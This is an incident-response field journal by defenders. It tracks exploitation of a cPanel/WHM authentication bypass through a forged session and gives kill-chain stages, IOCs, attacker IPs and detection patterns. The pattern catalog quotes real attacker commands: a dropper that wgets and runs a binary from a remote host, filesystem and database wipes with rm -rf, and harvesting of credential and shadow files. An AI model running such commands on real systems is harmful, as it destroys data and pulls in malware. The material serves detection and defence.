Field Notes: CVE-2026-41940 Exploitation in the Wild
This is a live, ongoing incident. New patterns, attacker IPs, and IOCs are still surfacing as we publish; we update this page as they do, and section anchors stay stable so cross-links keep resolving. Latest beats: the verdict-engine gap (51 hosts running active malware on the fleet, 34 of them CLEAN-rated by the session-forensic engine), the sleeper-attacker doctrine for hosts that were vulnerable in the pre-mitigation window, and two new destructive patterns (K and L). Primitive analysis is in the companion write-up.
This is a field journal of what we observed during the opening week of CVE-2026-41940 exploitation in the wild, and what we continue to surface in the days after. The companion to this piece is our reverse-engineering write-up of the underlying primitive and the patch that closes it. That article describes what the bug is; this one describes what we saw it do. We are deliberately not naming providers, victims, or quantifying scope. The IOCs, attacker IPs, operator tells, and command patterns are the parts a defender actually needs.
The journal is structured chronologically through the 04-11 → 05-02 opening window: a 17-day quiet probing arc, then vendor disclosure, then a 72-hour exploitation surge once a public PoC dropped. A worked-example kill-chain analysis from the on-host scanner output sits in the middle. The pattern catalog and the three-script operator toolkit at the end are what we are running detection and posture against today; both grow as new evidence comes in.
github.com/rfxn/cpanel-sessionscribe
Canonical source for sessionscribe-ioc-scan.sh, sessionscribe-mitigate.sh, sessionscribe-remote-probe.sh, sessionscribe-revsnap.sh, and the ModSecurity rule pack referenced throughout this journal. Mirror of the sh.rfxn.com one-liners with history, issues, and tags.
CVE-2026-41940 (cPanel/WHM SessionScribe): field notes
- First probe
- 2026-04-11T05:32Z
- Vendor disclosure
- 2026-04-28T17:05Z
- Public CVE
- 2026-04-29T19:46Z
- Most recent event
- 2026-05-02T11:33Z
- The chain
- Layered, not parallel. Every confirmed compromise we examined ran the same upstream chain (Pattern X → D → E → F). Only the destructive terminal stage varied (A, B, C, H). That is one toolkit shared, not independent attacker workflows.
- Multi-tool
- Multi-tool activity, suggestive tells. Three websocket-Shell dimension fingerprints (24×80, 24×120, 24×134) plus distinct UA families (Go-http-client automation, browser-driven Firefox, browser-driven Chrome/Opera) point to at least two or three concurrent toolchains. Both signals are spoofable, so treat them as tells, not forensic-grade attribution. The strongest multi-actor evidence is independent: at least one host took two end-to-end kill chains in a 51-minute window with no session-token reuse, and Pattern H's competitor-kill
pkill -9 nuclear.x86 kswapd01 xmrigconfirms cross-actor competition for the same vulnerable cohort. - First probe
- 2026-04-11 05:32 UTC. First Pattern X event observed in the wild: single IP, single host, canonical badpass shape (multi-line
pass=field throughsaveSession(), injectedcp_security_token=/cpsess[N],tfa_verified=1with no real login). The 17-day quiet window starts here and runs through vendor disclosure on 04-28. The same source IP returns on subsequent days against different host sets, paced and surgical: an actor with a working primitive walking a target list, not a scanner.
Defender quick-links
Tier-1 list (KB-known + access-log 2xx success). csf/apf/iptables one-shot dispatcher snippet.
Audit posturesessionscribe-mitigate.sh in --check (read-only) or --apply (active). Idempotent, snapshot-first.
sessionscribe-ioc-scan.sh on-host triage; verdict pair + section matrix. Read-only.
The First Probe#
The earliest Pattern X event we have on disk lands on 2026-04-11 at 05:32 UTC. One IP, one host, the canonical badpass session shape: a session file written through saveSession() with a multi-line pass= field, an injected cp_security_token=/cpsess[N], and tfa_verified=1 without a real login. That is the bug working.
The probing was paced. Same IP would return on a different day, walk a small set of unrelated targets inside a six-hour window, then disappear. The targets had nothing in common except running a vulnerable cPanel/WHM version. This is not a scanner spraying the internet; this is an actor with a working primitive walking a target list.
saveSession(); no other stage activity for the rest of the day.For the next sixteen days the same shape repeats. Pattern X events arrive in small daily batches with a peak around 11/day across the population we monitor. None of these probes translate into Pattern D recon or any post-attack stage during the window. Either the actor was characterizing the bug without using it, or the activity-stage code was being held back deliberately.
Two things distinguish this window from generic scanner noise:
- Surgical target selection. An operator walking a list rather than a scanner sweeping a /16: small host sets, no obvious shared identifier, paced in blocks.
- Single-IP recurrence. The same source IPs return across multiple days, against partially overlapping target sets. A scanner moves on.
04-11 revisits a different host set inside a roughly six-hour block. No interactive stage follows. Pacing rules out an automated scanner.Disclosure & Public CVE#
Day 17 reframes everything that came before. cPanel published KB 40073787579671 at 2026-04-28 17:05 UTC, filed only as an unauthenticated authentication bypass with no CVE assigned. The URL is publicly reachable but distributed through the providers KB feed, so in practice it landed as a vendor disclosure to providers, not a wide announcement.
The patched build shipped about four hours later, at 21:36 UTC (04:36 PM CT). That evening we reverse-engineered the build (see our reverse-engineering write-up) to recover the underlying primitive, then swapped the broad first-wave rules for primitive-aware WAF signatures and host posture changes.
CVE-2026-41940 and a working PoC from watchTowr Labs landed 27 hours after the KB, on 04-29 at 19:46 UTC. That 27-hour KB-to-PoC gap was the entire defensive window any provider had before commodity exploitation began.
The post-CVE window is what most defenders will see in their own logs. Pattern X events, which had been single-digit per day during the quiet window, jump by more than an order of magnitude. Pattern D recon traffic, which we had not seen at all pre-disclosure, appears immediately and consistently from the same Go-http-client UA against any host that does not have the WAF rules in place.
The destructive stages (A, B, C, H) cluster on day 04-30, which is the day after the public CVE and the first day of generalized operator activity. Hosts that had defenses landed before 04-29 19:46 UTCtook Pattern X attempts but no post-attack stages. Hosts that had not yet been reached by the rollout are where the destructive payloads landed.
Worked Kill Chain: One Host, One Day#
Wide shot first, then per-stage detail. The diagram below maps the campaign window across the 22 days of activity: phase ribbon (zero-day → vendor disclosure → public CVE tail), the upstream chain every confirmed compromise ran, the destructive variants we saw at the terminal stage, and the three operator-tell buckets. Click to zoom.
The most useful thing we can hand to another defender is a walked-through kill chain on a single compromised host, with the artifacts the on-host scanner surfaces at each stage. The sequence below is what sessionscribe-ioc-scan.sh recovered on a host that took the full chain; hostnames and account names are redacted, everything else is on-disk evidence. The collapsible block at the end has the raw sectioned report for the same host.
Kill Chain· Pattern X to D to G to E to F to destructive
- 01Access
Pattern X: Initial CRLF Authorization access
An Authorization: Basic header lands on an existing session with a multi-line value. saveSession() writes it verbatim, and the resulting session file gets a token_denied=1 with an injected cp_security_token=/cpsess[N], plus origin_as_string carrying the attacker IP, and tfa_verified=1 despite no real login.
- regex
^pass=.*\n. - id
token_denied=1 + cp_security_token=/cpsess[N] - id
origin_as_string=address=<IP>,app=whostmgrd,method=badpass
- regex
- 02Recon
Pattern D: JSON-API enumeration
Once the forged cpsess token is in hand, an automated Go-http-client agent walks /json-api/* in a deterministic order: version, gethostname, listaccts, getdiskusage, systemloadavg, getips. It then reads /etc/shadow, /etc/passwd, the full ~/.ssh key set, and /root/.aws/credentials via the Fileman API.
- ua
Go-http-client/1.1 - cmd
/json-api/listaccts - file
/etc/shadow, /etc/passwd, /root/.ssh/id_*
- ua
- 03Persistence
Pattern D: Reseller-as-persistence
Same recon agent then issues /json-api/createacct + setupreseller + setacls + setresellerlimits, leaving a sptadm reseller with all-ACLs and a WHM_FullRoot API token. The token survives the cPanel patch and is the operator's way back in after remediation.
- id
username=sptadm - id
domain=4ef72197.cpx.local - id
contactemail=a@exploit.local - cmd
CREATEAPITOKEN ... WHM_FullRoot
- id
- 04Persistence
Pattern G: SSH key persistence (parallel layer)
Non-standard ssh-rsa keys planted across /root/.ssh, /etc, and cron paths, with mtimes forged to 2019-12-13 to blend with provisioning artifacts. Comments include IP-labeled keys mimicking provider internal-key style. ctime gives them away; touch can backdate mtime and atime, not ctime.
- cmd
find /root /etc /var/spool/cron -type f -exec grep -l 'ssh-rsa' - regex
^[0-9.]{7,15} ssh-rsa
- cmd
- 05Interactive
Pattern E: Interactive websocket Shell
Operators pivot from JSON-API into the WHM in-browser shell at /cpsess[N]/websocket/Shell. Three observed terminal-dimension fingerprints (24×80, 24×120, 24×134) plus distinct UA families separate the toolchains in use; both signals are spoofable, so treat them as tells, not forensic attribution.
- regex
GET /cpsess[0-9]+/websocket/Shell\?rows= - id
rows=24&cols=80 (operator A) - id
rows=24&cols=120 (operator B) - id
rows=24&cols=134 (operator C)
- regex
- 06Harvester
Pattern F: Automated agent harvester
Inside the websocket shell a follow-up tool wraps every command with __S_MARK__/__E_MARK__ delimiters and harvests SSH keys, /etc/shadow (twice; likely retried), and every shell history file under /root and /home. The wrapper is the strong actor tell: a human does not type printf '__S_MARK__'; cmd; printf '__E_MARK__'.
- regex
printf '__S_MARK__'.*printf '__E_MARK__' - cmd
find /root /home -maxdepth 3 -name '.bash_history'
- regex
- 07Destructive
Destructive payload: multiple variants
Terminal stage. Different operators on the same host have chosen different destructive payloads in the same window. The upstream chain (X → D → E → F) is identical across them; only the final stage diverges.
- 7.1Destructive
Pattern A: .sorry encryptor + qTox ransom
Encryptor binary masquerading as /root/sshd; encrypts user files plus system files (so an attempted in-place restore does not recover); drops README.md with a TOX ID; C2 over a single IP.
- file
/root/sshd (masquerades as ssh daemon) - hash
2fc0a056fd4eff5d31d06c103af3298d711f33dbcd5d122cae30b571ac511e5a - ip
68.183.190.253 (C2) - id
qTox ID 3D7889AEC00F2325E1A3FBC0ACA4E521670497F11E47FDE13EADE8FED3144B5EB56D6B198724
- file
- 7.2Destructive
Pattern B: DB wipe + index.html ransom note
Drops a BTC-ransom note in every /home/*/public_html/index.html (and nested directories), removes /var/lib/mysql/mysql, breaking MariaDB. Files are NOT encrypted; restore-from-backup recovers cleanly. Simpler stage than Pattern A.
- id
BTC bc1q9nh4revv6yqhj2gc5usncrpsfnh7ypwr9h0sp2 - cmd
rm -rf /var/lib/mysql/mysql - regex
to recover your files, kindly send 0\.1 BTC
- id
- 7.3Destructive
Pattern C: Mirai / nuclear.x86 cryptominer
Mirai-family dropper fetched from a hosting-redirector domain; binary lands at well-known paths and persistence is set via cron and systemd. Largest commodity-malware bucket of the campaign by host count.
- file
nuclear.x86 (Mirai variant) - ip
87.121.84.78 (binary host) - id
raw.flameblox.com (C2)
- file
- 7.4Destructive
Pattern H: seobot.php SEO defacement
Per-site PHP webshell drop into every public_html, plus a competitor-kill bash_history (pkill -9 nuclear.x86 kswapd01 xmrig) and an ALLDONE marker. Confirms live cross-actor competition for the same vulnerable cohort.
- file
*/public_html/seobot.php - regex
pkill -9 (nuclear\.x86|kswapd01|xmrig) - regex
echo ALLDONE
- file
- 7.5Destructive
Pattern K: Cloudflare-fronted second-stage backdoor
Cloudflare-fronted /Update fetch dropped through a self-cleaning /tmp/.u$$ trampoline. The dropper writes the binary, executes it, then rm's the file in the same line; on disk the only remaining trace is the .bash_history line itself, and only when history-time is enabled. Process IOC is unnamed-inode: /proc/<pid>/exe shows '(deleted)' while the binary stays resident.
- regex
F=/tmp/\.u(\$\$|[0-9]+) - id
cp.dene.de.com (Cloudflare-fronted) - cmd
lsof +L1 | awk '$NF == 0'
- regex
- 7.6Destructive
Pattern L: rm -rf --no-preserve-root / filesystem nuke
Filesystem-wiping detached rm. The --no-preserve-root flag is virtually never used in legitimate operations; coreutils added --preserve-root specifically to prevent accidental nukes. &disown detaches the rm from the controlling shell so the SSH session can exit cleanly while deletion continues. Symptom in the fleet: 'host went silent and won't boot' or 'every command returns command-not-found.' If caught mid-wipe, the rm is still in ps; immediate kill -9 is the only window to save residual data.
- regex
rm.*--no-preserve-root - cmd
pgrep -af 'rm.*--no-preserve-root'
- regex
ExpandRaw sessionscribe-ioc-scan.sh v2.5.0 sectioned report (anonymized, ANSI stripped)
Real stderr output as rendered by the scanner's sectioned-report mode (default). Hostname, account names, session-file basename, and one source IP have been redacted; everything else is on-disk evidence. Section IDs (version, cpsrvd, iocscan, sessions, destruct) match the SECTION_ORDER array in the script.
== version == cpanel -V vs published patched-build cutoffs
[OK] cpanel -V parsed: 11.130.0.18 (tier 130, build 18)
[FAIL] vendor cutoff for tier 130 is .19; this host is one build behind
code_verdict: VULNERABLE
== patterns == static config-file patterns (ancillary; not CVE-driver)
[OK] /var/cpanel/cpanel.config: ProxyPass.cpanel = on
[OK] /etc/apache2/conf.d/modsec2.user.conf: 1500030 present
[OK] /etc/apache2/conf.d/modsec2.user.conf: 1500031 present
== cpsrvd == cpsrvd binary patch markers
[WARN] cpsrvd binary mtime predates vendor patch window
[WARN] filter_sessiondata symbol present; saveSession() path NOT routed
through filter (matches pre-patch primitive)
== iocscan == access_log scan over 30d window
[IOC] 192.81.219.190 badpass exploit hits=14 2xx=11 ua=Go-http-client/1.1
[IOC] 38.146.25.154 /json-api/createacct hits=3 2xx=3 ua=Go-http-client/1.1
[IOC] 192.81.219.190 /cpsess[REDACTED]/websocket/Shell?rows=24&cols=80
hits=2 ua=(none)
[WARN] attacker-IP traffic during recon-window (30d); escalates SUSPICIOUS
== sessions == session-store IOC ladder (vendor + CVE-2026-41940 ladder)
scanned 47 session files under /var/cpanel/sessions/raw/
[IOC] [REDACTED].scribe : multi-line pass= field (CRLF injection)
[IOC] [REDACTED].scribe : token_denied=1 + injected cp_security_token=/cpsess[REDACTED]
[IOC] [REDACTED].scribe : origin_as_string=address=192.81.219.190,app=whostmgrd,method=badpass
[IOC] [REDACTED].scribe : tfa_verified=1 with no real login origin
[ALERT] 4-of-4 CVE-2026-41940 co-occurrence on 1 session file
[OK] no PROBE_ARTIFACT canary; these are not from sessionscribe-remote-probe.sh
host_verdict: COMPROMISED (1 session matches; 4-of-4 ladder)
== destruct == destruction IOC scan (Patterns A-J)
[IOC] Pattern D : /var/cpanel/accounting.log lines for sptadm reseller +
WHM_FullRoot CREATEAPITOKEN (timestamps 2026-04-30 06:18-06:21Z)
[IOC] Pattern G : 3 non-standard ssh-rsa keys in /root/.ssh/authorized_keys
mtime 2019-12-13 (forged), ctime 2026-04-30 06:14:22 (real)
[IOC] Pattern E : websocket Shell hit on 04-30 06:22Z, dimensions 24x80
[IOC] Pattern F : __S_MARK__/__E_MARK__ envelopes in /root/.bash_history
(15 wrapped commands, ~5h after stage 1)
[IOC] Pattern A : /root/sshd present
sha256 2fc0a056fd4eff5d31d06c103af3298d711f33dbcd5d122cae30b571ac511e5a
C2 reachability test (-Z dryrun): 68.183.190.253 reachable
[OK] Pattern B : no /var/lib/mysql/mysql removal
[OK] Pattern C : no nuclear.x86, no Mirai-family persistence
[OK] Pattern H : no seobot.php in any docroot
[OK] Pattern J : no udev RUN+= 'at now' shape, no non-allowlist systemd ExecStart
== probe == localhost marker probe
[SKIP] --probe not requested
==============================================================================
Summary matrix
version : VULNERABLE (tier 130 .18 vs cutoff .19)
cpsrvd : VULNERABLE (saveSession path not filtered)
iocscan : COMPROMISED (Pattern X attacker IP, Pattern E pivot)
sessions : COMPROMISED (4-of-4 ladder match on 1 session file)
destruct : COMPROMISED (Patterns D+E+F+G+A confirmed; Pattern B/C/H/J clean)
probe : SKIP
code_verdict : VULNERABLE
host_verdict : COMPROMISED (compromised host can also be vulnerable;
patch + mitigate after IR cleanup)
exit code : 4Operator Profiles#
Three toolchain fingerprints share the upstream chain and the JSON-API recon toolkit. They diverge at the interactive stage (websocket Shell dimensions) and at the UA string. The strongest case for treating these as separate operators is behavioral, not signature-based: at least one host took two end-to-end kill chains in a 51-minute window with no shared session token between them. Dimensions and UA strings are spoofable, so the cards below are best read as tooling buckets we observed in the wild, not named-actor attribution. Behavioral co-occurrence (timing, sequencing, post-shell command patterns) is what promotes a tooling bucket to a defensible operator claim.
- ttp
- Most disciplined of the three. Issues the canonical Pattern D recon sequence in deterministic order, opens a 24×80 websocket Shell, runs the __S_MARK__/__E_MARK__ harvester. Reseller persistence (sptadm + WHM_FullRoot API token) is its strongest persistence tell.
- ips
192.81.219.19038.146.25.154- user-agents
Go-http-client/1.1
This operator is responsible for the cleanest, most repeatable kill chain we observed. Where Pattern D appears, this operator is almost always one of the actors involved. The Go-http-client UA and the consistent 24×80 dimensions suggest a single piece of automation rather than a person.
- ttp
- Operates the websocket Shell directly from a browser, dimensions 24×120: that is a person resizing a terminal pane to non-default width, not a tool. UA strings are real-browser plausible. Less recon discipline than Operator A; arrives after the cpsess token is already minted.
- ips
149.102.229.144- user-agents
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Firefox/142.0
We see this operator on hosts that already have an active forged session from Operator A. The pattern looks like token reuse or token-handoff between members of the same crew, not independent compromise.
- ttp
- The toolchain that produces the 24×134 dimension. Browser-driven, similar TTPs to Operator B, but with measurably different terminal width and a different UA family. Recurs across the post-disclosure window from the same source IP.
- ips
183.82.160.147- user-agents
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
The 24×134 dimension is the most operator-specific tell in the dataset because it is non-default for both terminal emulators and automation libraries; it strongly suggests a person sizing a terminal pane to a custom width. We see this fingerprint return on multiple hosts across the post-disclosure window, which makes it the most reliable of the three for cross-host correlation.
Pattern Catalog#
The thirteen patterns we are running detection against today. X is initial access; D / G / I / J are persistence; E / F are interactive; A / B / C / H / K / L are destructive terminal stages. The catalog is sequenced as the chain runs in the wild, not alphabetically. Two operational refinements landed this week: bare grep of nuclear.x86 in .bash_history is now a warning, not a compromise call (defender greps during incident verification dominate the FP class), and Pattern X alone with no follow-on stage is CLEAN, not “attempted” — post-disclosure the world is scanning, an unaccompanied access-primitive hit cannot gate operational action.
The bug working: a multi-line pass= field written through saveSession() produces a session file with a forged cpsess[N] token and tfa_verified=1. Universal across every confirmed compromise.
^pass=.*\n.token_denied=1 + cp_security_token=/cpsess[N]origin_as_string=address=<IP>,app=whostmgrd,method=badpassTwo-phase. The recon side is a Go-http-client agent walking/json-api/*and the Fileman API. The persistence side creates a sptadm reseller and a WHM_FullRoot API token, both of which survive the cPanel patch and need separate revocation.
Go-http-client/1.1username=sptadmdomain=4ef72197.cpx.localcontactemail=a@exploit.localCREATEAPITOKEN:root:root:not-applicable:WHM_FullRoot96.30.39.236— claimed source-IP in createacct accounting.log entry; IOC for join, not necessarily real originOnce a forged session is in hand, operators pivot to /cpsess[N]/websocket/Shell for an interactive root shell. Three observed dimensions (24×80, 24×120, 24×134) separate the toolchains we observed, with the caveat that dimensions are passed in the request and are trivially spoofable.
GET /cpsess[0-9]+/websocket/Shell\?rows=rows=24&cols=80: Operator Arows=24&cols=120: Operator Brows=24&cols=134: Operator CInside the websocket shell, a follow-up tool wraps every command with __S_MARK__ and __E_MARK__ delimiters and harvests credentials, SSH keys, and shell history files. The wrapper is the strong actor tell: a human does not type these delimiters, so any host with the envelope in .bash_history has been touched by this specific tool.
printf '__S_MARK__'.*printf '__E_MARK__'find /root /home -maxdepth 3 -name '.bash_history' -exec catNon-standard ssh-rsa keys planted across /root/.ssh, /etc, and cron paths. Comments include IP-labeled keys mimicking provider internal-key style. Detection should rely on ctime, not mtime; touch backdates the latter two but cannot backdate the former.
find /root /etc /var/spool/cron -type f -exec grep -l 'ssh-rsa' +^[0-9.]{7,15} ssh-rsa Encryptor binary masquerading as /root/sshd. Encrypts user files and system files (in-place restore fails; re-image required), drops a README with a TOX ID, C2 over a single IP. Files get the .sorry extension.
/root/sshd2fc0a056fd4eff5d31d06c103af3298d711f33dbcd5d122cae30b571ac511e5a— sha25668.183.190.253— C23D7889AEC00F2325E1A3FBC0ACA4E521670497F11E47FDE13EADE8FED3144B5EB56D6B198724— qTox IDCheaper variant. Drops a BTC-ransom note in every /home/*/public_html/index.html and removes /var/lib/mysql/mysql. Files are not encrypted; restore-from-backup recovers cleanly.
bc1q9nh4revv6yqhj2gc5usncrpsfnh7ypwr9h0sp2— BTC addressto recover your files, kindly send 0\.1 BTCCommodity Mirai-family dropper. Largest single bucket of the campaign by host count among the destructive variants. Persistence via cron and systemd; binary lands at well-known paths.
nuclear.x8687.121.84.78— binary hostraw.flameblox.com— C2 / dropperPer-site PHP webshell drop into every public_html, preceded by a pkill against known competitor processes (nuclear.x86, kswapd01, xmrig) and a final ALLDONE marker. Confirms cross-actor competition for the same vulnerable cohort.
*/public_html/seobot.phppkill -9 (nuclear\.x86|kswapd01|xmrig)echo ALLDONEA parallel persistence layer that surfaced in adjacent triage. A /etc/profile.d shim launches a non-standard binary at /root/.local/bin/system-service on every interactive shell login. Triggering on profile.d instead of cron means it fires more often and looks less like a scheduled task. Detection signal is a chmod permission-denied log line from a non-root shell login; that is exactly how it surfaced first.
/etc/profile.d/system_profiled_service.sh/root/.local/bin/system-servicechmod: cannot access '/root/\.local/bin/system-service'Newest persistence layer in the dossier (rev5, 2026-05-03). Operator drops one of two shapes that survive a session-store wipe and a cPanel patch: a /etc/udev/rules.d/*.rules file with a RUN+="...sh -c '... | at now'" body that backgrounds a payload fetch, or a /etc/systemd/system/*.service unit whose ExecStart points into /usr/share/ (per FHS, never a legit binary root) with a Description= that shadows a real systemd or cPanel service name. Both gates additionally require the file to be not RPM-owned; that single check is what keeps the false-positive rate near zero on a stock control- panel host.
RUN[+=]+=.*sh -c.*\|\s*at\s+now\b/etc/udev/rules.d/*.rules (non-RPM-owned)/etc/systemd/system/*.service (ExecStart=/usr/share/..., non-RPM-owned)^Description=.*\b(dbus-broker|systemd-(resolved|networkd|timesyncd|logind|udevd)|cpsrvd|cphulkd|queueprocd|exim-altport|chkservd|tailwatchd|cpanel-dovecot)\b45.92.1.188— Pattern J operator (rev5 cohort)Cloudflare-fronted second-stage backdoor. The dropper line writes the binary through a self-cleaning trampoline:F=/tmp/.u$$; wget -O "$F" https://cp.dene.de.com/Update (orcurl -sk), chmod 755 "$F", "$F" -s, rm -f "$F". Once executed the only on-disk trace is the .bash_history line itself, and only when history-time is enabled. Bash records the literal $$ as typed, so the temp-filename idiom F=/tmp/\.u\$\$ is the cleanest fingerprint when the line survives.
F=/tmp/\.u(\$\$|[0-9]+)cp.dene.de.com (Cloudflare-fronted; do not blackhole at edge)lsof +L1 2>/dev/null | awk '$NF == 0 { print }'find /proc/[0-9]*/exe -lname '*deleted*'Filesystem-wipe terminal payload. A detached rm -rf --no-preserve-root / with &disown so the SSH session can exit cleanly while deletion continues. GNU coreutils added --preserve-root specifically to prevent accidental nukes; the explicit override flag is virtually never used in legitimate operations and is a strong IOC on its own. Symptoms in the fleet show up as “host went silent and won't boot” or “every command returns command-not-found.”
rm.*--no-preserve-rootpgrep -af 'rm.*--no-preserve-root'The Verdict-Engine Gap#
The most uncomfortable finding from the days after disclosure is architectural, not tactical. The on-host scanner is built around session-forensic evidence: the cpsrvd CRLF tells, the badpass markers, the cpsess[N]/websocket/Shell access lines, the harvester envelope. That answers “did Pattern X land here?” It does not answer “is the operator still here?” — and on a cohort that has been patched but is still running an attacker payload, the second question is the one that matters.
The numbers, 14,009-host snapshot (2026-05-05)
A telemetry walk over the latest envelope per source IP surfaced 51 hosts with at least one high-confidence active malicious-process IOC in the latest ps.txt. 34 of them are CLEAN-rated: entry-vector evidence aged out of the 90-day session window, but the payload is still resident. That is a 67% verdict-gap rate on a population the engine confidently labels safe.
The runtime shapes that turn up are bigger than the IC-5790 catalog and predate it: GSocket reverse-shell persistence loops with ~/.config/htop/defunct.dat (and gs-dbus / lscgib mask variants) using prctl(PR_SET_NAME) to spoof the procname; xmrig camouflaged as ./.ld-linux.so (the dynamic linker is a library, never an executable) or running in plain sight at /root/c3pool/xmrig; a PHP cron-bot loader at /tmp/codeItems3 calling home to 45.140.17.40 with a per-host api: header; a wget URL/atdu | perl drive-by loader running concurrently across eight distinct cPanel users on a single hosting fleet; and one novel implant on host.snap-itservices.com holding ESTAB outbound to 209.14.84.37:1220 from a process whose comm field and argv[0] are different high-entropy strings — surfaced only because two envelope sources agreed on the same PID, which no per-implant rule could have caught.
The fix is architectural: a parallel runtime track scored from ps.txt, connections.txt, lsof.txt, and captured shell histories, with verdict logic upgraded to host_verdict = max(session, runtime). Wallet matches and C2-IP-in-ESTAB are zero-FP and gate COMPROMISED on first hit; keyfile paths on disk survive reboots better than ps and are the cheapest persistence catch in the runtime track. The proposal is in flight for the next scanner release.
The editorial point is broader than the scanner. Every post-disclosure write-up of CVE-2026-41940 stops at the entry vector. None of the public reporting talks about what was installed in the months before the patch landed. That is the single biggest reason hosts that scan CLEAN today should not yet be considered safe.
Pivot indicators · fleet-wide hunt strings
- Wallet (c3pool): 423Gvxk9VMFH3FUyurUNqFKrXvMgoWAJwM98uXbiCubJafBUUyvyeRLgQos3JSMfRBFtb8iFCahTx6K6nes7TkP75gXdoDj
- Wallet (supportxmr, worker
ngintil): 4AypWi9xNQvSy11FT5yr7Ajnyz2XuoUD7LGEJw4ZTRUHLrWjH1x5KoZUp9FTS4s9a5Y6Q7d4jSze4E6tq64aJTD2L7hnCrL - Custom GSocket relay: u.lihq.me
- Keyfile glob: */.config/(htop|dbus)/(defunct|lscgib|gs-dbus).dat
- Masquerade procnames: defunct, gs-dbus, lscgib, .ld-linux.so, ./https (with -a rx/0), ./python3 (with --donate-level)
Sleeper Attacker: the Pre-Mitigation Window#
Three pre-disclosure exploitation events sit in the corpus before the canonical 2026-04-11 first probe: testdev.halcyonplatinum.com on 2025-11-25, host.quickfix17.com on 2025-12-22 (the 24×134 websocket-Shell dimension fingerprint, four months pre-CVE), and web04.guestreservations.com from 192.63.172.156 on 2026-03-10. They are the leading edge of an exploitation arc public reporting now places as far back as late February 2026; our own corpus pushes that window further left.
A host that scans CLEAN today, on a build that was vulnerable during the pre-mitigation window, is not the same kind of CLEAN as a host that was never reachable. The scanner's answer is correct — no persistence / execution / payload artifact remains — but a smash-and-grab operator who took the credentials and walked leaves no on-disk trace behind. The credentials themselves become the persistence vector, used later through legitimate auth that does not look like an attack.
Pre-mitigation-window doctrine
Hosts that were vulnerable during the window and now scan CLEAN are RECOMMEND-ROTATE, not “fully safe.” The verdict label stays CLEAN; customer-comms layer adds “rotate credentials even though no artifact was found.” In practice that is /root/.ssh keys, /root/.aws/credentials, /root/.my.cnf, /etc/shadow hashes, every WHM_FullRoot API token issued before the patch landed, and any cluster replication keypair (lsyncd, GitOps deploy keys, rsync-over-ssh) where an upstream master was in the window — compromised master = all replicas compromised through the trust path.
The doctrine is not specific to CVE-2026-41940. Any management-plane bug with a months-long zero-day window produces the same shape: hosts where no artifact survives, but the operator left with everything. Naming the problem lets us tell the customer-comms story honestly without redefining CLEAN.
Cross-Provider Signal#
We've corroborated the upstream chain (Pattern X → D → E → F) against several peer providers running their own detection. The granular tells (operator dimensions, the harvester envelope, the reseller-as-persistence pattern) show up consistently, which is what gives us confidence the toolkit is shared.
What Worked, What Didn't#
A short, opinionated list. We're keeping this section generalizable: what would also be true for a similar incident tomorrow, not specifics about one provider's rollout.
Worked
- ModSecurity rule pack landed inside the disclosure window, before the public PoC. The WAF layer is the right place to close Pattern X; it intercepts at the request stage, before
saveSession()ever sees the malformedpass=field. - Pre-positioning the on-host IOC scanner allowed retrospective triage of hosts that had been touched before the WAF rules were live. Detect-then-mitigate is realistic; detect-only is not.
- Treating the reseller persistence and the API token as a separate cleanup step (not part of the cPanel patch) caught operators who tried to come back through the token after the patch landed.
Didn't
- CSF, APF, and standard host firewalls are not enough. Pattern X traffic looks like legitimate authenticated WHM; it goes to
:2087, it carries anAuthorizationheader, and it's structurally valid HTTPS. A perimeter firewall will not block it. - WHM-port-open hosts without an upstream WAF were the population that fell. The right posture is WAF inside the auth boundary, not just at the edge.
- Vendor IOC scripts shipped with at least one
grep -Pregex bug that produced silent false negatives. Don't trust an IOC script you haven't read.
Actionable: Validate, Defend, Block#
Three scripts cover the operational picture, each with a distinct role. Pick by what you need to answer:
Is this host compromised? Read-only on-host scan of session store, access logs, accounting log, cpsrvd binary, and Pattern A through J destruction artifacts. Emits a code_verdict + host_verdict pair with section matrix.
Is this host defended? Audits patch state, ModSecurity rule pack, CSF/APF cpsrvd-port scrub, proxysub enforcement; with --apply, brings the host into the patched + posture-correct state in one phased idempotent pass.
Which hosts in my fleet are vulnerable? Non-destructive remote verdict by HTTP code; fires a canary-tagged session that ioc-scan recognizes and routes to PROBE_ARTIFACT, so self-tests do not escalate. Designed for parallel fleet sweeps before you have shell access everywhere.
sessionscribe-ioc-scan.sh: validate host state
Read-only by design. Sectioned report on stderr by default; structured JSON, JSONL stream, or single-row CSV available. Exit code is the highest-priority verdict observed (0 clean, 1 vulnerable, 2 inconclusive, 3 suspicious, 4 compromised).
# 1) on-host triage (sectioned report on stderr)
curl -s https://sh.rfxn.com/sessionscribe-ioc-scan.sh | bash
# 2) JSON envelope to file + JSONL stream for aggregation
bash sessionscribe-ioc-scan.sh -o /root/scan.json --jsonl --quiet > host.jsonl
# 3) tighten log/heuristic window for fast retriage (90 days)
bash sessionscribe-ioc-scan.sh --since 90 --verbose
# 4) single-row CSV summary (fleet-rollup friendly)
bash sessionscribe-ioc-scan.sh --csv > host.csvsessionscribe-mitigate.sh: validate & enforce defensive posture
Idempotent. Writes timestamped backups of every mutated file under /var/cpanel/sessionscribe-mitigation/<TS>/. Default mode is --check (posture audit, no mutations); --apply mutates. Phases: snapshot, patch posture, preflight, upcp (if unpatched), proxysub enforcement, CSF scrub, APF scrub, runfw inspection, Apache check, modsec rules, session quarantine, optional remote-probe self-test.
# 1) read-only posture audit (no mutations)
curl -s https://sh.rfxn.com/sessionscribe-mitigate.sh | bash
# 2) full apply (run as root; ModSec rules + CSF/APF cpsrvd-port scrub +
# proxysub enforcement + session quarantine into backup dir)
curl -s https://sh.rfxn.com/sessionscribe-mitigate.sh | bash -s -- --apply
# 3) selective phases (e.g. modsec only, no firewall mutations)
bash sessionscribe-mitigate.sh --apply --only modsec
# 4) JSONL output for fleet aggregation (Ansible/Salt/SSH-wrap)
bash sessionscribe-mitigate.sh --apply --jsonl --quiet > host.jsonl
# 5) revoke any sptadm reseller and the WHM_FullRoot API token
# (mitigate.sh does not touch reseller state; do this manually)
whmapi1 listacct | grep -i sptadm
whmapi1 delacct user=sptadm
whmapi1 list_tokens | grep -i 'WHM_FullRoot\|not-applicable'
whmapi1 revoke_api_token token_name=<token>sessionscribe-remote-probe.sh: fleet-level scan
